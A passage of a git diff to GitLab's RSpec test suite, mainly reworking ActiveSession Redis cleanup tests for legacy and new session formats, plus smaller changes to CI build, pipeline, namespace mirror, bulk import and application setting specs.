- "session:lookup:user:gitlab:#{user.id}",
- "#{number}"
- )
+ it 'removes obsolete lookup entries' do
+ Gitlab::Redis::Sessions.with do |redis|
+ redis.set(session_key, '')
+ redis.sadd(lookup_key, current_session_id)
+ redis.sadd(lookup_key, '59822c7d9fcdfa03725eff41782ad97d')
+ end
+
+ ActiveSession.cleanup(user)
+
+ Gitlab::Redis::Sessions.with do |redis|
+ expect(redis.smembers(lookup_key)).to contain_exactly current_session_id
end
end
end
- it 'removes obsolete active sessions entries' do
+ it 'does not bail if there are no lookup entries' do
ActiveSession.cleanup(user)
+ end
- Gitlab::Redis::SharedState.with do |redis|
- sessions = redis.scan_each(match: "session:user:gitlab:#{user.id}:*").to_a
+ context 'cleaning up old sessions' do
+ let(:max_number_of_sessions_plus_one) { ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS + 1 }
+ let(:max_number_of_sessions_plus_two) { ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS + 2 }
+
+ before do
+ Gitlab::Redis::Sessions.with do |redis|
+ max_number_of_sessions_plus_two.times do |number|
+ redis.set(
+ key_name(user.id, number),
+ dump_session(ActiveSession.new(session_id: number.to_s, updated_at: number.days.ago))
+ )
+ redis.sadd(lookup_key, number.to_s)
+ end
+ end
+ end
+
+ it 'removes obsolete active sessions entries' do
+ ActiveSession.cleanup(user)
+
+ Gitlab::Redis::Sessions.with do |redis|
+ sessions = described_class.list(user)
- expect(sessions.count).to eq(ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS)
- expect(sessions).not_to include("session:user:gitlab:#{user.id}:#{max_number_of_sessions_plus_one}", "session:user:gitlab:#{user.id}:#{max_number_of_sessions_plus_two}")
+ expect(sessions.count).to eq(ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS)
+ expect(sessions).not_to include(
+ have_attributes(session_id: max_number_of_sessions_plus_one),
+ have_attributes(session_id: max_number_of_sessions_plus_two)
+ )
+ end
end
- end
- it 'removes obsolete lookup entries' do
- ActiveSession.cleanup(user)
+ it 'removes obsolete lookup entries' do
+ ActiveSession.cleanup(user)
- Gitlab::Redis::SharedState.with do |redis|
- lookup_entries = redis.smembers("session:lookup:user:gitlab:#{user.id}")
+ Gitlab::Redis::Sessions.with do |redis|
+ lookup_entries = redis.smembers(lookup_key)
- expect(lookup_entries.count).to eq(ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS)
- expect(lookup_entries).not_to include(max_number_of_sessions_plus_one.to_s, max_number_of_sessions_plus_two.to_s)
+ expect(lookup_entries.count).to eq(ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS)
+ expect(lookup_entries).not_to include(max_number_of_sessions_plus_one.to_s, max_number_of_sessions_plus_two.to_s)
+ end
end
- end
- it 'removes obsolete lookup entries even without active session' do
- Gitlab::Redis::SharedState.with do |redis|
- redis.sadd(
- "session:lookup:user:gitlab:#{user.id}",
- "#{max_number_of_sessions_plus_two + 1}"
- )
+ it 'removes obsolete lookup entries even without active session' do
+ Gitlab::Redis::Sessions.with do |redis|
+ redis.sadd(lookup_key, "#{max_number_of_sessions_plus_two + 1}")
+ end
+
+ ActiveSession.cleanup(user)
+
+ Gitlab::Redis::Sessions.with do |redis|
+ lookup_entries = redis.smembers(lookup_key)
+
+ expect(lookup_entries.count).to eq(ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS)
+ expect(lookup_entries).not_to include(
+ max_number_of_sessions_plus_one.to_s,
+ max_number_of_sessions_plus_two.to_s,
+ (max_number_of_sessions_plus_two + 1).to_s
+ )
+ end
end
- ActiveSession.cleanup(user)
+ context 'when the number of active sessions is lower than the limit' do
+ before do
+ Gitlab::Redis::Sessions.with do |redis|
+ ((max_number_of_sessions_plus_two - 4)..max_number_of_sessions_plus_two).each do |number|
+ redis.del(key_name(user.id, number))
+ end
+ end
+ end
- Gitlab::Redis::SharedState.with do |redis|
- lookup_entries = redis.smembers("session:lookup:user:gitlab:#{user.id}")
+ it 'does not remove active session entries, but removes lookup entries' do
+ lookup_entries_before_cleanup = Gitlab::Redis::Sessions.with do |redis|
+ redis.smembers(lookup_key)
+ end
- expect(lookup_entries.count).to eq(ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS)
- expect(lookup_entries).not_to include(
- max_number_of_sessions_plus_one.to_s,
- max_number_of_sessions_plus_two.to_s,
- (max_number_of_sessions_plus_two + 1).to_s
- )
+ sessions_before_cleanup = described_class.list(user)
+
+ described_class.cleanup(user)
+
+ Gitlab::Redis::Sessions.with do |redis|
+ lookup_entries = redis.smembers(lookup_key)
+ sessions = described_class.list(user)
+
+ expect(sessions.count).to eq(sessions_before_cleanup.count)
+ expect(lookup_entries.count).to be < lookup_entries_before_cleanup.count
+ end
+ end
end
end
- context 'when the number of active sessions is lower than the limit' do
+ context 'cleaning up old sessions stored by Rack::Session::SessionId#private_id' do
+ let(:max_number_of_sessions_plus_one) { ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS + 1 }
+ let(:max_number_of_sessions_plus_two) { ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS + 2 }
+
before do
- Gitlab::Redis::SharedState.with do |redis|
- ((max_number_of_sessions_plus_two - 4)..max_number_of_sessions_plus_two).each do |number|
- redis.del("session:user:gitlab:#{user.id}:#{number}")
+ Gitlab::Redis::Sessions.with do |redis|
+ (1..max_number_of_sessions_plus_two).each do |number|
+ redis.set(
+ key_name(user.id, number),
+ dump_session(ActiveSession.new(session_private_id: number.to_s, updated_at: number.days.ago))
+ )
+ redis.sadd(lookup_key, number.to_s)
end
end
end
- it 'does not remove active session entries, but removes lookup entries' do
- lookup_entries_before_cleanup = Gitlab::Redis::SharedState.with do |redis|
- redis.smembers("session:lookup:user:gitlab:#{user.id}")
- end
+ it 'removes obsolete active sessions entries' do
+ described_class.cleanup(user)
- sessions_before_cleanup = Gitlab::Redis::SharedState.with do |redis|
- redis.scan_each(match: "session:user:gitlab:#{user.id}:*").to_a
- end
+ Gitlab::Redis::Sessions.with do |redis|
+ sessions = described_class.list(user)
- ActiveSession.cleanup(user)
-
- Gitlab::Redis::SharedState.with do |redis|
- lookup_entries = redis.smembers("session:lookup:user:gitlab:#{user.id}")
- sessions = redis.scan_each(match: "session:user:gitlab:#{user.id}:*").to_a
- expect(sessions.count).to eq(sessions_before_cleanup.count)
- expect(lookup_entries.count).to be < lookup_entries_before_cleanup.count
+ expect(sessions.count).to eq(described_class::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS)
+ expect(sessions).not_to include(
+ key_name(user.id, max_number_of_sessions_plus_one),
+ key_name(user.id, max_number_of_sessions_plus_two)
+ )
end
end
end
end
- context 'cleaning up old sessions stored by Rack::Session::SessionId#private_id' do
- let(:max_number_of_sessions_plus_one) { ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS + 1 }
- let(:max_number_of_sessions_plus_two) { ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS + 2 }
+ context 'with legacy sessions' do
+ let(:session_key) { described_class.key_name_v1(user.id, current_session_id) }
+
+ def key_name(user_id, session_id)
+ described_class.key_name_v1(user_id, session_id)
+ end
+
+ def dump_session(session)
+ Marshal.dump(session)
+ end
+
+ it_behaves_like 'cleaning up'
+ end
+
+ context 'with new sessions' do
+ let(:session_key) { described_class.key_name(user.id, current_session_id) }
+
+ def key_name(user_id, session_id)
+ described_class.key_name(user_id, session_id)
+ end
+
+ def dump_session(session)
+ session.dump
+ end
+
+ it_behaves_like 'cleaning up'
+ end
+ end
+
+ describe '.cleaned_up_lookup_entries' do
+ before do
+ stub_const("ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS", 5)
+ end
+
+ shared_examples 'cleaning up lookup entries' do
+ let(:current_session_id) { '6919a6f1bb119dd7396fadc38fd18d0d' }
+ let(:active_count) { 3 }
before do
Gitlab::Redis::SharedState.with do |redis|
- (1..max_number_of_sessions_plus_two).each do |number|
+ active_count.times do |number|
redis.set(
- "session:user:gitlab:#{user.id}:#{number}",
- Marshal.dump(ActiveSession.new(session_private_id: number.to_s, updated_at: number.days.ago))
- )
- redis.sadd(
- "session:lookup:user:gitlab:#{user.id}",
- "#{number}"
+ key_name(user.id, number),
+ dump_session(ActiveSession.new(session_id: number.to_s, updated_at: number.days.ago))
)
+
+ redis.sadd(lookup_key, number.to_s)
end
+
+ redis.sadd(lookup_key, (active_count + 1).to_s)
+ redis.sadd(lookup_key, (active_count + 2).to_s)
end
end
- it 'removes obsolete active sessions entries' do
- ActiveSession.cleanup(user)
+ it 'removes obsolete lookup entries' do
+ active = Gitlab::Redis::SharedState.with do |redis|
+ ActiveSession.cleaned_up_lookup_entries(redis, user)
+ end
+
+ expect(active.count).to eq(active_count)
Gitlab::Redis::SharedState.with do |redis|
- sessions = redis.scan_each(match: "session:user:gitlab:#{user.id}:*").to_a
+ lookup_entries = redis.smembers(lookup_key)
- expect(sessions.count).to eq(ActiveSession::ALLOWED_NUMBER_OF_ACTIVE_SESSIONS)
- expect(sessions).not_to(
- include("session:user:gitlab:#{user.id}:#{max_number_of_sessions_plus_one}",
- "session:user:gitlab:#{user.id}:#{max_number_of_sessions_plus_two}"))
+ expect(lookup_entries.count).to eq(active_count)
+ expect(lookup_entries).not_to include(
+ (active_count + 1).to_s,
+ (active_count + 2).to_s
+ )
end
end
+
+ it 'reports the removed entries' do
+ removed = []
+ Gitlab::Redis::SharedState.with do |redis|
+ ActiveSession.cleaned_up_lookup_entries(redis, user, removed)
+ end
+
+ expect(removed.count).to eq(2)
+ end
+ end
+
+ context 'with legacy sessions' do
+ let(:session_key) { described_class.key_name_v1(user.id, current_session_id) }
+
+ def key_name(user_id, session_id)
+ described_class.key_name_v1(user_id, session_id)
+ end
+
+ def dump_session(session)
+ Marshal.dump(session)
+ end
+
+ it_behaves_like 'cleaning up lookup entries'
+ end
+
+ context 'with new sessions' do
+ let(:session_key) { described_class.key_name(user.id, current_session_id) }
+
+ def key_name(user_id, session_id)
+ described_class.key_name(user_id, session_id)
+ end
+
+ def dump_session(session)
+ session.dump
+ end
+
+ it_behaves_like 'cleaning up lookup entries'
end
end
end
diff --git a/spec/models/analytics/cycle_analytics/project_stage_spec.rb b/spec/models/analytics/cycle_analytics/project_stage_spec.rb
index 9efe90e7d41..a67f9fec443 100644
--- a/spec/models/analytics/cycle_analytics/project_stage_spec.rb
+++ b/spec/models/analytics/cycle_analytics/project_stage_spec.rb
@@ -29,4 +29,29 @@ RSpec.describe Analytics::CycleAnalytics::ProjectStage do
let(:default_params) { { project: project } }
end
end
+
+ describe '.distinct_stages_within_hierarchy' do
+ let_it_be(:top_level_group) { create(:group) }
+ let_it_be(:sub_group_1) { create(:group, parent: top_level_group) }
+ let_it_be(:sub_group_2) { create(:group, parent: sub_group_1) }
+
+ let_it_be(:project_1) { create(:project, group: sub_group_1) }
+ let_it_be(:project_2) { create(:project, group: sub_group_2) }
+ let_it_be(:project_3) { create(:project, group: top_level_group) }
+
+ let_it_be(:stage1) { create(:cycle_analytics_project_stage, project: project_1, start_event_identifier: :issue_created, end_event_identifier: :issue_deployed_to_production) }
+ let_it_be(:stage2) { create(:cycle_analytics_project_stage, project: project_3, start_event_identifier: :issue_created, end_event_identifier: :issue_deployed_to_production) }
+
+ let_it_be(:stage3) { create(:cycle_analytics_project_stage, project: project_1, start_event_identifier: :merge_request_created, end_event_identifier: :merge_request_merged) }
+ let_it_be(:stage4) { create(:cycle_analytics_project_stage, project: project_3, start_event_identifier: :merge_request_created, end_event_identifier: :merge_request_merged) }
+
+ subject(:distinct_start_and_end_event_identifiers) { described_class.distinct_stages_within_hierarchy(top_level_group).to_a.pluck(:start_event_identifier, :end_event_identifier) }
+
+ it 'returns distinct stages by start and end events (using stage_event_hash_id)' do
+ expect(distinct_start_and_end_event_identifiers).to match_array([
+ %w[issue_created issue_deployed_to_production],
+ %w[merge_request_created merge_request_merged]
+ ])
+ end
+ end
end
diff --git a/spec/models/application_setting_spec.rb b/spec/models/application_setting_spec.rb
index 8ad83da61f3..67314084c4f 100644
--- a/spec/models/application_setting_spec.rb
+++ b/spec/models/application_setting_spec.rb
@@ -247,6 +247,7 @@ RSpec.describe ApplicationSetting do
end
it { is_expected.to allow_value('grpc://example.org/spam_check').for(:spam_check_endpoint_url) }
+ it { is_expected.to allow_value('tls://example.org/spam_check').for(:spam_check_endpoint_url) }
it { is_expected.not_to allow_value('https://example.org/spam_check').for(:spam_check_endpoint_url) }
it { is_expected.not_to allow_value('nonsense').for(:spam_check_endpoint_url) }
it { is_expected.not_to allow_value(nil).for(:spam_check_endpoint_url) }
@@ -259,6 +260,7 @@ RSpec.describe ApplicationSetting do
end
it { is_expected.to allow_value('grpc://example.org/spam_check').for(:spam_check_endpoint_url) }
+ it { is_expected.to allow_value('tls://example.org/spam_check').for(:spam_check_endpoint_url) }
it { is_expected.not_to allow_value('https://example.org/spam_check').for(:spam_check_endpoint_url) }
it { is_expected.not_to allow_value('nonsense').for(:spam_check_endpoint_url) }
it { is_expected.to allow_value(nil).for(:spam_check_endpoint_url) }
@@ -1239,4 +1241,30 @@ RSpec.describe ApplicationSetting do
expect(subject.kroki_formats_excalidraw).to eq(true)
end
end
+
+ describe '#static_objects_external_storage_auth_token=' do
+ subject { setting.static_objects_external_storage_auth_token = token }
+
+ let(:token) { 'Test' }
+
+ it 'stores an encrypted version of the token' do
+ subject
+
+ expect(setting[:static_objects_external_storage_auth_token]).to be_nil
+ expect(setting[:static_objects_external_storage_auth_token_encrypted]).to be_present
+ expect(setting.static_objects_external_storage_auth_token).to eq('Test')
+ end
+
+ context 'when token is empty' do
+ let(:token) { '' }
+
+ it 'removes an encrypted version of the token' do
+ subject
+
+ expect(setting[:static_objects_external_storage_auth_token]).to be_nil
+ expect(setting[:static_objects_external_storage_auth_token_encrypted]).to be_nil
+ expect(setting.static_objects_external_storage_auth_token).to be_nil
+ end
+ end
+ end
end
diff --git a/spec/models/bulk_imports/entity_spec.rb b/spec/models/bulk_imports/entity_spec.rb
index cc66572cd6f..e5bbac62dcc 100644
--- a/spec/models/bulk_imports/entity_spec.rb
+++ b/spec/models/bulk_imports/entity_spec.rb
@@ -252,4 +252,60 @@ RSpec.describe BulkImports::Entity, type: :model do
.to eq("/groups/#{entity.encoded_source_full_path}/export_relations/download?relation=test")
end
end
+
+ describe '#entity_type' do
+ it 'returns entity type' do
+ group_entity = build(:bulk_import_entity)
+ project_entity = build(:bulk_import_entity, :project_entity)
+
+ expect(group_entity.entity_type).to eq('group')
+ expect(project_entity.entity_type).to eq('project')
+ end
+ end
+
+ describe '#project?' do
+ it 'returns true if project entity' do
+ group_entity = build(:bulk_import_entity)
+ project_entity = build(:bulk_import_entity, :project_entity)
+
+ expect(group_entity.project?).to eq(false)
+ expect(project_entity.project?).to eq(true)
+ end
+ end
+
+ describe '#group?' do
+ it 'returns true if group entity' do
+ group_entity = build(:bulk_import_entity)
+ project_entity = build(:bulk_import_entity, :project_entity)
+
+ expect(group_entity.group?).to eq(true)
+ expect(project_entity.group?).to eq(false)
+ end
+ end
+
+ describe '#base_resource_url_path' do
+ it 'returns base entity url path' do
+ entity = build(:bulk_import_entity)
+
+ expect(entity.base_resource_url_path).to eq("/groups/#{entity.encoded_source_full_path}")
+ end
+ end
+
+ describe '#wiki_url_path' do
+ it 'returns entity wiki url path' do
+ entity = build(:bulk_import_entity)
+
+ expect(entity.wikis_url_path).to eq("/groups/#{entity.encoded_source_full_path}/wikis")
+ end
+ end
+
+ describe '#update_service' do
+ it 'returns correct update service class' do
+ group_entity = build(:bulk_import_entity)
+ project_entity = build(:bulk_import_entity, :project_entity)
+
+ expect(group_entity.update_service).to eq(::Groups::UpdateService)
+ expect(project_entity.update_service).to eq(::Projects::UpdateService)
+ end
+ end
end
diff --git a/spec/models/chat_name_spec.rb b/spec/models/chat_name_spec.rb
index 67e0f98d147..1d2ad8b4dce 100644
--- a/spec/models/chat_name_spec.rb
+++ b/spec/models/chat_name_spec.rb
@@ -46,9 +46,5 @@ RSpec.describe ChatName do
it_behaves_like 'it has loose foreign keys' do
let(:factory_name) { :chat_name }
-
- before do
- Ci::PipelineChatData # ensure that the referenced model is loaded
- end
end
end
diff --git a/spec/models/ci/build_spec.rb b/spec/models/ci/build_spec.rb
index b7de8ca4337..b9a12339e61 100644
--- a/spec/models/ci/build_spec.rb
+++ b/spec/models/ci/build_spec.rb
@@ -29,7 +29,7 @@ RSpec.describe Ci::Build do
it { is_expected.to have_one(:deployment) }
it { is_expected.to have_one(:runner_session) }
it { is_expected.to have_one(:trace_metadata) }
- it { is_expected.to have_many(:terraform_state_versions).dependent(:nullify).inverse_of(:build) }
+ it { is_expected.to have_many(:terraform_state_versions).inverse_of(:build) }
it { is_expected.to validate_presence_of(:ref) }
@@ -1994,6 +1994,14 @@ RSpec.describe Ci::Build do
it { is_expected.not_to be_retryable }
end
+
+ context 'when deployment is rejected' do
+ before do
+ build.drop!(:deployment_rejected)
+ end
+
+ it { is_expected.not_to be_retryable }
+ end
end
end
@@ -2498,7 +2506,7 @@ RSpec.describe Ci::Build do
it { is_expected.to start_with(project.web_url[0..6]) }
it { is_expected.to include(build.token) }
it { is_expected.to include('gitlab-ci-token') }
- it { is_expected.to include(project.web_url[7..-1]) }
+ it { is_expected.to include(project.web_url[7..]) }
end
context 'when token is empty' do
@@ -3421,10 +3429,6 @@ RSpec.describe Ci::Build do
end
describe '#scoped_variables' do
- before do
- pipeline.clear_memoization(:predefined_vars_in_builder_enabled)
- end
-
it 'records a prometheus metric' do
histogram = double(:histogram)
expect(::Gitlab::Ci::Pipeline::Metrics).to receive(:pipeline_builder_scoped_variables_histogram)
@@ -3522,22 +3526,6 @@ RSpec.describe Ci::Build do
build.scoped_variables
end
-
- context 'when ci builder feature flag is disabled' do
- before do
- stub_feature_flags(ci_predefined_vars_in_builder: false)
- end
-
- it 'does not delegate to the variable builders' do
- expect_next_instance_of(Gitlab::Ci::Variables::Builder) do |builder|
- expect(builder).not_to receive(:predefined_variables)
- end
-
- build.scoped_variables
- end
-
- it_behaves_like 'calculates scoped_variables'
- end
end
describe '#simple_variables_without_dependencies' do
@@ -3782,6 +3770,12 @@ RSpec.describe Ci::Build do
build.enqueue
end
+
+ it 'queues BuildHooksWorker' do
+ expect(BuildHooksWorker).to receive(:perform_async).with(build.id)
+
+ build.enqueue
+ end
end
describe 'state transition: pending: :running' do
@@ -4474,7 +4468,7 @@ RSpec.describe Ci::Build do
'create' => 0,
'update' => 1,
'delete' => 0,
- 'job_name' => build.options.dig(:artifacts, :name).to_s
+ 'job_name' => build.name
)
)
)
@@ -5423,4 +5417,13 @@ RSpec.describe Ci::Build do
expect(subject).to be true
end
end
+
+ it_behaves_like 'it has loose foreign keys' do
+ let(:factory_name) { :ci_build }
+ end
+
+ it_behaves_like 'cleanup by a loose foreign key' do
+ let!(:model) { create(:ci_build, user: create(:user)) }
+ let!(:parent) { model.user }
+ end
end
diff --git a/spec/models/ci/job_artifact_spec.rb b/spec/models/ci/job_artifact_spec.rb
index d63f87e8943..38061e0975f 100644
--- a/spec/models/ci/job_artifact_spec.rb
+++ b/spec/models/ci/job_artifact_spec.rb
@@ -700,4 +700,8 @@ RSpec.describe Ci::JobArtifact do
when changes or new entries are made.
MSG
end
+
+ it_behaves_like 'it has loose foreign keys' do
+ let(:factory_name) { :ci_job_artifact }
+ end
end
diff --git a/spec/models/ci/namespace_mirror_spec.rb b/spec/models/ci/namespace_mirror_spec.rb
new file mode 100644
index 00000000000..b4c71f51377
--- /dev/null
+++ b/spec/models/ci/namespace_mirror_spec.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::NamespaceMirror do
+ let!(:group1) { create(:group) }
+ let!(:group2) { create(:group, parent: group1) }
+ let!(:group3) { create(:group, parent: group2) }
+ let!(:group4) { create(:group, parent: group3) }
+
+ describe '.sync!' do
+ let!(:event) { namespace.sync_events.create! }
+
+ subject(:sync) { described_class.sync!(event.reload) }
+
+ context 'when namespace hierarchy does not exist in the first place' do
+ let(:namespace) { group3 }
+
+ it 'creates the hierarchy' do
+ expect { sync }.to change { described_class.count }.from(0).to(1)
+
+ expect(namespace.ci_namespace_mirror).to have_attributes(traversal_ids: [group1.id, group2.id, group3.id])
+ end
+ end
+
+ context 'when namespace hierarchy does already exist' do
+ let(:namespace) { group3 }
+
+ before do
+ described_class.create!(namespace: namespace, traversal_ids: [namespace.id])
+ end
+
+ it 'updates the hierarchy' do
+ expect { sync }.not_to change { described_class.count }
+
+ expect(namespace.ci_namespace_mirror).to have_attributes(traversal_ids: [group1.id, group2.id, group3.id])
+ end
+ end
+
+ # I did not extract this context to a `shared_context` because the behavior will change
+ # after implementing the TODO in `Ci::NamespaceMirror.sync!`
+ context 'changing the middle namespace' do
+ let(:namespace) { group2 }
+
+ before do
+ described_class.create!(namespace_id: group1.id, traversal_ids: [group1.id])
+ described_class.create!(namespace_id: group2.id, traversal_ids: [group1.id, group2.id])
+ described_class.create!(namespace_id: group3.id, traversal_ids: [group1.id, group2.id, group3.id])
+ described_class.create!(namespace_id: group4.id, traversal_ids: [group1.id, group2.id, group3.id, group4.id])
+
+ group2.update!(parent: nil)
+ end
+
+ it 'updates hierarchies for the base but wait for events for the children' do
+ expect { sync }.not_to change { described_class.count }
+
+ expect(group1.reload.ci_namespace_mirror).to have_attributes(traversal_ids: [group1.id])
+ expect(group2.reload.ci_namespace_mirror).to have_attributes(traversal_ids: [group2.id])
+ expect(group3.reload.ci_namespace_mirror).to have_attributes(traversal_ids: [group2.id, group3.id])
+ expect(group4.reload.ci_namespace_mirror).to have_attributes(traversal_ids: [group2.id, group3.id, group4.id])
+ end
+ end
+
+ context 'when the FFs sync_traversal_ids, use_traversal_ids and use_traversal_ids_for_ancestors are disabled' do
+ before do
+ stub_feature_flags(sync_traversal_ids: false,
+ use_traversal_ids: false,
+ use_traversal_ids_for_ancestors: false)
+ end
+
+ context 'changing the middle namespace' do
+ let(:namespace) { group2 }
+
+ before do
+ described_class.create!(namespace_id: group1.id, traversal_ids: [group1.id])
+ described_class.create!(namespace_id: group2.id, traversal_ids: [group1.id, group2.id])
+ described_class.create!(namespace_id: group3.id, traversal_ids: [group1.id, group2.id, group3.id])
+ described_class.create!(namespace_id: group4.id, traversal_ids: [group1.id, group2.id, group3.id, group4.id])
+
+ group2.update!(parent: nil)
+ end
+
+ it 'updates hierarchies for the base and descendants' do
+ expect { sync }.not_to change { described_class.count }
+
+ expect(group1.reload.ci_namespace_mirror).to have_attributes(traversal_ids: [group1.id])
+ expect(group2.reload.ci_namespace_mirror).to have_attributes(traversal_ids: [group2.id])
+ expect(group3.reload.ci_namespace_mirror).to have_attributes(traversal_ids: [group2.id, group3.id])
+ expect(group4.reload.ci_namespace_mirror).to have_attributes(traversal_ids: [group2.id, group3.id, group4.id])
+ end
+ end
+ end
+ end
+end
diff --git a/spec/models/ci/pending_build_spec.rb b/spec/models/ci/pending_build_spec.rb
index ad711f5622f..abf0fb443bb 100644
--- a/spec/models/ci/pending_build_spec.rb
+++ b/spec/models/ci/pending_build_spec.rb
@@ -118,7 +118,7 @@ RSpec.describe Ci::PendingBuild do
project.shared_runners_enabled = true
end
- context 'when ci_pending_builds_maintain_shared_runners_data is enabled' do
+ context 'when ci_pending_builds_maintain_denormalized_data is enabled' do
it 'sets instance_runners_enabled to true' do
described_class.upsert_from_build!(build)
@@ -150,9 +150,9 @@ RSpec.describe Ci::PendingBuild do
end
end
- context 'when ci_pending_builds_maintain_shared_runners_data is disabled' do
+ context 'when ci_pending_builds_maintain_denormalized_data is disabled' do
before do
- stub_feature_flags(ci_pending_builds_maintain_shared_runners_data: false)
+ stub_feature_flags(ci_pending_builds_maintain_denormalized_data: false)
end
it 'sets instance_runners_enabled to false' do
@@ -168,7 +168,7 @@ RSpec.describe Ci::PendingBuild do
subject(:ci_pending_build) { described_class.last }
- context 'when ci_pending_builds_maintain_tags_data is enabled' do
+ context 'when ci_pending_builds_maintain_denormalized_data is enabled' do
it 'sets tag_ids' do
described_class.upsert_from_build!(build)
@@ -176,9 +176,9 @@ RSpec.describe Ci::PendingBuild do
end
end
- context 'when ci_pending_builds_maintain_tags_data is disabled' do
+ context 'when ci_pending_builds_maintain_denormalized_data is disabled' do
before do
- stub_feature_flags(ci_pending_builds_maintain_tags_data: false)
+ stub_feature_flags(ci_pending_builds_maintain_denormalized_data: false)
end
it 'does not set tag_ids' do
diff --git a/spec/models/ci/pipeline_spec.rb b/spec/models/ci/pipeline_spec.rb
index e573a6ef780..fd9970699d7 100644
--- a/spec/models/ci/pipeline_spec.rb
+++ b/spec/models/ci/pipeline_spec.rb
@@ -28,6 +28,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
it { is_expected.to have_many(:trigger_requests) }
it { is_expected.to have_many(:variables) }
it { is_expected.to have_many(:builds) }
+ it { is_expected.to have_many(:statuses_order_id_desc) }
it { is_expected.to have_many(:bridges) }
it { is_expected.to have_many(:job_artifacts).through(:builds) }
it { is_expected.to have_many(:auto_canceled_pipelines) }
@@ -35,8 +36,6 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
it { is_expected.to have_many(:sourced_pipelines) }
it { is_expected.to have_many(:triggered_pipelines) }
it { is_expected.to have_many(:pipeline_artifacts) }
- it { is_expected.to have_many(:package_build_infos).dependent(:nullify).inverse_of(:pipeline) }
- it { is_expected.to have_many(:package_file_build_infos).dependent(:nullify).inverse_of(:pipeline) }
it { is_expected.to have_one(:chat_data) }
it { is_expected.to have_one(:source_pipeline) }
@@ -757,23 +756,23 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
context 'with multiple pipelines' do
before_all do
create(:ci_build, name: "rspec", coverage: 30, pipeline: pipeline)
- create(:ci_build, name: "rubocop", coverage: 40, pipeline: pipeline)
+ create(:ci_build, name: "rubocop", coverage: 35, pipeline: pipeline)
end
it "calculates average when there are two builds with coverage" do
- expect(pipeline.coverage).to eq("35.00")
+ expect(pipeline.coverage).to be_within(0.001).of(32.5)
end
it "calculates average when there are two builds with coverage and one with nil" do
create(:ci_build, pipeline: pipeline)
- expect(pipeline.coverage).to eq("35.00")
+ expect(pipeline.coverage).to be_within(0.001).of(32.5)
end
it "calculates average when there are two builds with coverage and one is retried" do
create(:ci_build, name: "rubocop", coverage: 30, pipeline: pipeline, retried: true)
- expect(pipeline.coverage).to eq("35.00")
+ expect(pipeline.coverage).to be_within(0.001).of(32.5)
end
end
@@ -1358,12 +1357,26 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
describe 'synching status to Jira' do
let(:worker) { ::JiraConnect::SyncBuildsWorker }
- %i[prepare! run! skip! drop! succeed! cancel! block! delay!].each do |event|
- context "when we call pipeline.#{event}" do
- it 'triggers a Jira synch worker' do
- expect(worker).to receive(:perform_async).with(pipeline.id, Integer)
+ context 'when Jira Connect subscription does not exist' do
+ it 'does not trigger a Jira synch worker' do
+ expect(worker).not_to receive(:perform_async)
- pipeline.send(event)
+ pipeline.prepare!
+ end
+ end
+
+ context 'when Jira Connect subscription exists' do
+ before_all do
+ create(:jira_connect_subscription, namespace: project.namespace)
+ end
+
+ %i[prepare! run! skip! drop! succeed! cancel! block! delay!].each do |event|
+ context "when we call pipeline.#{event}" do
+ it 'triggers a Jira synch worker' do
+ expect(worker).to receive(:perform_async).with(pipeline.id, Integer)
+
+ pipeline.send(event)
+ end
end
end
end
@@ -1503,10 +1516,30 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
describe 'pipeline caching' do
- it 'performs ExpirePipelinesCacheWorker' do
- expect(ExpirePipelineCacheWorker).to receive(:perform_async).with(pipeline.id)
+ context 'when expire_job_and_pipeline_cache_synchronously is enabled' do
+ before do
+ stub_feature_flags(expire_job_and_pipeline_cache_synchronously: true)
+ end
- pipeline.cancel
+ it 'executes Ci::ExpirePipelineCacheService' do
+ expect_next_instance_of(Ci::ExpirePipelineCacheService) do |service|
+ expect(service).to receive(:execute).with(pipeline)
+ end
+
+ pipeline.cancel
+ end
+ end
+
+ context 'when expire_job_and_pipeline_cache_synchronously is disabled' do
+ before do
+ stub_feature_flags(expire_job_and_pipeline_cache_synchronously: false)
+ end
+
+ it 'performs ExpirePipelinesCacheWorker' do
+ expect(ExpirePipelineCacheWorker).to receive(:perform_async).with(pipeline.id)
+
+ pipeline.cancel
+ end
end
end
@@ -3173,11 +3206,35 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
context 'when pipeline is not child nor parent' do
let_it_be(:pipeline) { create(:ci_pipeline, :created) }
- let_it_be(:build) { create(:ci_build, :with_deployment, :deploy_to_production, pipeline: pipeline) }
+ let_it_be(:build, refind: true) { create(:ci_build, :with_deployment, :deploy_to_production, pipeline: pipeline) }
it 'returns just the pipeline environment' do
expect(subject).to contain_exactly(build.deployment.environment)
end
+
+ context 'when deployment SHA is not matched' do
+ before do
+ build.deployment.update!(sha: 'old-sha')
+ end
+
+ it 'does not return environments' do
+ expect(subject).to be_empty
+ end
+ end
+ end
+
+ context 'when an associated environment does not have deployments' do
+ let_it_be(:pipeline) { create(:ci_pipeline, :created) }
+ let_it_be(:build) { create(:ci_build, :stop_review_app, pipeline: pipeline) }
+ let_it_be(:environment) { create(:environment, project: pipeline.project) }
+
+ before_all do
+ build.metadata.update!(expanded_environment_name: environment.name)
+ end
+
+ it 'does not return environments' do
+ expect(subject).to be_empty
+ end
end
context 'when pipeline is in extended family' do
@@ -4611,4 +4668,13 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
